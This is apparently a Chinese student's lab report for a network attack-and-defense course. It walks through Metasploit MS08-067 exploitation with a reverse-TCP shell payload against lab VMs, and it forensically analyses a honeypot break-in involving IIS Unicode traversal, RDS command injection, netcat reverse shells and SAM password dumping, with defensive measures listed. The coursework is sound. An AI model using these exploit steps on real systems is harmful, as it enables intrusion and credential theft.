20241903 2024-2025-2 《网络攻防实践》第6次作业
1. 实践内容
本次实践分为三个实验。首先是动手实践Metasploit windows attacker,使用kali攻击机尝试对windowsxp靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权。其次我们要进行取证分析实践,有一台ip为212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),我们要分析提取攻击的全过程。最后我会和一名同学合作,尝试使用MS08-067漏洞进行远程渗透攻击和分析。
2. 前置知识
渗透攻击(Penetration Attack):
渗透攻击是一种系统渐进型的综合攻击方式,攻击者通过模拟黑客攻击手段,逐步入侵目标系统以获取未经授权的访问权限。它与普通攻击不同,普通攻击通常是单一类型的攻击,而渗透攻击是一个有计划、分步骤的过程。
它的过程主要包括:
- 信息收集:攻击者收集目标系统的相关信息,如域名、IP地址、操作系统类型、服务版本等。
- 漏洞扫描:使用技术工具(如Nmap)扫描目标系统的开放端口和服务,寻找潜在漏洞。
- 漏洞利用:根据扫描结果,利用发现的漏洞(如SQL注入、跨站脚本攻击等)获取系统访问权限。
- 权限提升:在获得初步访问权限后,尝试提升权限,以便更深入地控制目标系统。
- 横向移动:利用已控制的系统作为跳板,进一步攻击网络中的其他系统。
- 痕迹清除:攻击者会清除日志等痕迹,以避免被发现。
渗透攻击的 目的 通常是获取敏感信息、破坏系统、安装恶意软件或建立长期的访问通道。
SMB、DCERPC 和 SPOOLSS:
-
SMB(Server Message Block):
SMB是一种网络通信协议,主要用于在计算机之间共享文件、打印机和通信。
- 工作原理:SMB协议允许客户端请求访问服务器上的资源,服务器根据请求提供相应的服务。
- 安全问题:SMB协议存在多个漏洞,例如2017年的EternalBlue漏洞,攻击者可以利用该漏洞在目标系统上执行恶意代码。
-
DCERPC(Distributed Computing Environment/Remote Procedure Call):
DCERPC是一种用于分布式计算环境中实现进程间通信的协议。
- 工作原理:客户端通过客户端存根发起远程调用,客户端存根将本地调用转换为网络请求并发送给服务器;服务器存根接收到请求后,将其转换为本地调用并执行,然后将结果返回给客户端。
- 安全问题:DCERPC协议的实现可能存在缓冲区溢出等漏洞,攻击者可以利用这些漏洞执行远程代码。
-
SPOOLSS:
SPOOLSS是Windows打印系统的核心服务,用于管理打印作业。
- 工作原理:当用户提交打印任务时,SPOOLSS服务会将打印作业存储在打印队列中,并按顺序发送到打印机。
- 安全问题:SPOOLSS服务可能存在漏洞,例如权限提升漏洞,攻击者可以利用这些漏洞获取更高权限。
IIS Unicode漏洞(路径穿越攻击):
IIS Unicode漏洞是指微软IIS(Internet Information Services)服务器在处理包含Unicode字符的URL时,可能出现路径穿越(Directory Traversal)问题。其原理是攻击者通过在URL中插入特定的Unicode字符序列(如%c0%af
),可以绕过IIS的路径限制,访问服务器上任意路径的文件。这种漏洞可能导致攻击者获取服务器上的配置文件、用户数据等敏感信息。
其攻击过程如下:
- 攻击者构造包含Unicode字符的恶意URL。
- IIS服务器错误地解析这些字符,导致路径穿越。
- 攻击者可以访问或修改服务器上的敏感文件。
RDS漏洞攻击:
RDS(Remote Desktop Services)漏洞攻击是指攻击者利用微软远程桌面服务(RDS)中的漏洞,获取目标系统的访问权限。其原理是RDS服务允许用户通过网络连接到远程计算机并访问其桌面。如果RDS服务存在漏洞(如远程代码执行漏洞),攻击者可以通过发送恶意数据包来利用这些漏洞。RDS漏洞攻击可能导致攻击者完全控制目标系统,获取敏感信息或进行进一步的攻击。
其攻击过程如下:
- 攻击者扫描目标网络,寻找开放的RDS端口。
- 利用已知的RDS漏洞发送恶意数据包。
- 在目标系统上执行恶意代码,获取系统访问权限。
3. 实践过程
实验一:MS08-067漏洞远程渗透攻击。
本次实验需要2台虚拟机:kali(ip:192.168.200.6)和Win2kServer(ip:192.168.200.124)。
首先,在命令行键入msfconsole
来启动msfconsole。
键入search ms08_067
査看漏洞ms08_067的详细信息。
我们键入use exploit/windows/smb/ms08_067_netapi
来进入漏洞所在的文件。
键入show options
查看攻击该漏洞所需要的配置。
键入show payloads
显示此漏洞的载荷。我们选择4号漏洞进行攻击。
键入set payload generic/shell_reverse_tcp
设置载荷。键入set RHOST 192.168.200.124
设置靶机。键入set LHOST 192.168.200.6
设置攻击机。
键入exploit
进行攻击。可以看到,成功入侵了该系统获得了权限。
键入ipconfig
,查看到该主机的ip,攻击成功。
打开wireshark查看抓包。可以看到源ip地址为192.168.200.6,端口为40401,目的ip地址为:192.168.200.124,端口为441。
仔细分析,发现主要利用的漏洞协议有SMB、DCERPC和SPOOLSS。
我们跟踪TCP流,可以看到我们远程控制靶机执行的命令行界面。
实验一完成!
实验二:取证分析实践之解码一次成功的NT系统破解攻击。
该实验分为五个部分。其的主要攻击操作有目录遍历与敏感文件读取以确认系统为Windows NT,并获取引导配置信息;利用MSADC漏洞执行远程命令,下载工具为后续攻击做准备;上传工具与横向渗透以建立持久化控制。
-
部分一:分析攻击者使用的破解工具
首先在kali中打开下载的日志log文件,在上方筛选处键入ip.addr ==172.16.1.106 and http
。
可以在117包处发现攻击痕迹:%C0%AF
。这是路径穿越攻击的标志。
我们再看到146号包,也可以发现攻击痕迹:存在shell语句和 !ADM!ROX!YOUR!WORLD!
可以看到,攻击者企图通过SQL语句注入shell语句进行SQL注入攻击。这是利用了RDS漏洞。 -
部分二:攻击者使用这个破解工具进入并控制系统的方法。
继续跟踪TCP数据流,由上图可知发现攻击从打开c盘下的fun目录开始。
接着攻击者在创建或者打开了ftpcom文件,往其中添加了注册用户名是johna2k密码是hacker2000的账户并下载samdump.exe、pdump.exe和nc.exe文等件然后结束了次会话的命令。
然后攻击者企图连接www.nether.net并且执行ftpcom中的命令。
但是攻击者连接ftp失败了。
然后攻击者通过pdump.exe获取了密码口令,放入了new.pass中。
接着攻击者在创建或者打开了ftpcom2文件,往其中添加了使用new.pass密码的指令。
之后攻击者企图登录www.nether.net,但是又失败了。
攻击者使用ftp连接了自家服务器(213.116.251.162)。
攻击者打开或创建了ftpcom文件,往其中添加了连接自家服务器,并且下载samdump.dll和pdump.exe以及nc.exe的指令。
攻击者打开了212.139.12.26。以高效数据读入的方式添加了注册用户名是johna2k密码是hacker2000的账户并下载samdump.exe、pdump.exe和nc.exe等文件然后结束了次会话的命令(同上第一步)。
再次打开自家服务器。下载samdump.exe、pdump.exe和nc.exe等文件。
此时攻击者在流106时终于成功登录进ftp并且成功执行预写的语句。并且从172.16.1.106的1271端口下载了nc.exe,从1272端口下载了pdump.exe,从1273端口下载了samdump.dll。
在流109处,攻击者在6969号端口反弹了一个shell,现在攻击者就可以通过netcat远程控制靶机了。
-
部分三:分析攻击者获得系统访问权限后行为
在流111处,攻击者的主要行为包括使用type查看各个目录下的文件,使用net,net group,net user等对网络配置进行查看更改以及使用del删除一些攻击痕迹。
例如攻击者先键入dir
查看了靶机Program Files\Common Files\system\msadc目录下的文件,可以看到有下载的三个软件。 -
然后攻击者使用del ftpcom
删除了ftpcom文件。
接着攻击者退回C盘根目录,再次键入dir
查看该目录文件。
在该目录下攻击者键入del fun
将fun文件删除了。
在后面,攻击者使用net localgroup
企图查看该全局组的组名,使用net users
查看用户的用户名和密码。
攻击者还企图通过使用命令ADD来添加自己的用户组来提权。
接下来攻击者执行了pdump.exe文件,创建了一个会话,将口令破解结果放入yay.txt中,将用户组数据放入heh.txt文件中。
接下来攻击者企图ADD添加用户组进行提权。
然后从流142到流157之间攻击者使用rdisk磁盘修复工具反复尝试创建SAM文件副本。应该是在执行创建命令的过程中遇到了一些困难。
然后是尝试删除和拷贝SAM文件中的数据即删除和拷贝har.txt文件。
-
部分四:防止这样的攻击的方法。
防止类似的NT系统破解攻击,可以采取的措施有:-
加强口令策略:确保使用强口令,包括定期更换口令、设置复杂度要求等,以防止口令被猜解或破解。强口令可以显著增加破解难度。
-
及时安装系统补丁和更新:修补已知漏洞,减少攻击面。及时更新操作系统和应用程序的漏洞补丁,确保系统安全。
-
使用入侵检测系统(IDS)和入侵防御系统(IPS):监控和阻止潜在的恶意流量和行为。
-
部署网络防火墙和访问控制列表(ACL):限制外部对系统的访问。
-
定期审计系统日志:及时发现异常行为并采取相应的应对措施。
-
禁用一些平时不用的服务:例如RDS,以减少潜在的攻击入口。
-
使用IS Lockdown和URLScan等工具加强web server:增强Web服务器的安全性。
-
限制网络用户访问和调用CMD命令的权限:若没必要使用SCRIPTS和MSADC目录,删除或改名。
-
安装windows NT系统时不要使用默认WINNT路径:您可以改为其他的文件夹,如C:\mywindowsnt。
-
用户可从如下地址下载Microsoft提供的补丁:t.asp为IIS 4.0的补丁地址,.asp为IIS 5.0补丁地址。
-
通过移除或删除系统内/msadc目录:同时移除c:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC 2.1 SP2补丁,并注意及时上网更新。
-
对数据库进行安全配置:限制不必要的权限,避免SQL注入漏洞的利用。
-
对系统和网络进行定期的安全审计:及时发现和修复潜在的安全问题。
-
限制对外部网络的访问:特别是对敏感文件和端口的访问。
-
使用防火墙和入侵防御系统(IPS):监控和阻止异常的网络流量。
-
-
部分五:分析攻击者是否警觉了他的目标是一台蜜罐主机并给出原因。
攻击者 已经发现 这是一个蜜罐主机,在流178中,攻击者在rfp.txt中写到“这是我迄今为止见过最厉害的蜜罐”。
实验二完成!
实验三:windows系统远程渗透攻击和分析。
攻击方:20241903朱天宇,使用MS08-067漏洞进行远程渗透攻击,ip:192.168.3.48,攻击机型号:kali。
防守方:20241917李柏衡,ip:192.168.3.49,靶机型号:winxpattacker。
主要步骤同实验一。
首先,在命令行键入msfconsole
来启动msfconsole。
然后,我们键入use exploit/windows/smb/ms08_067_netapi
来进入漏洞所在的文件。
接着我们键入set payload generic/shell_reverse_tcp
设置载荷。键入set RHOST 192.168.3.49
设置靶机。键入set LHOST 192.168.3.48
。
最后,我们键入exploit
进行攻击。可以看到,成功入侵了该系统获得了权限。
我们在防守方使用kali(ip:192.168.3.47)上用wireshark监听网络,仔细分析,发现主要利用的漏洞仍然是SMB、DCERPC和SPOOLSS。
我们跟踪TCP流,可以看到靶机的命令行界面。攻击机键入了命令ipconfig
和命令dir
还有个字符串ztynb
,都可以在TCP流中看到。
实验三完成!
4. 学习中遇到的问题及解决
- 问题1:实验一和实验三都出现无法连接的情况。
- 问题1解决方案:实验一和实验三的环境都要求攻击机和靶机处于同一网段下,对于实验一,可以以静态ip的形式设置winxp为192.168.200.124。对于实验三,需要将所有参与的主机改为 桥接模式 ,并在同一个网络下进行实验。注意 ,如果在实验一中采用静态ip的配置模式的话,在实验三中需要将其改为DHCP,否则不会分配到任何ip,也无法上网。
5. 实践总结
通过本次实践,我对网络安全有了更深刻的理解。在尝试渗透攻击的实验一中,我体会到漏洞利用的高效性,也认识到及时修复漏洞的重要性。实验二取证分析让我学会从攻击者视角思考,了解其攻击手段,明白蜜罐技术的价值。团队对抗实践则让我明白网络安全是动态的攻防过程,攻击方的漏洞利用和防守方的监测分析都至关重要。这次实践让我认识到,网络安全需要不断学习和提升技术能力,以应对各种威胁。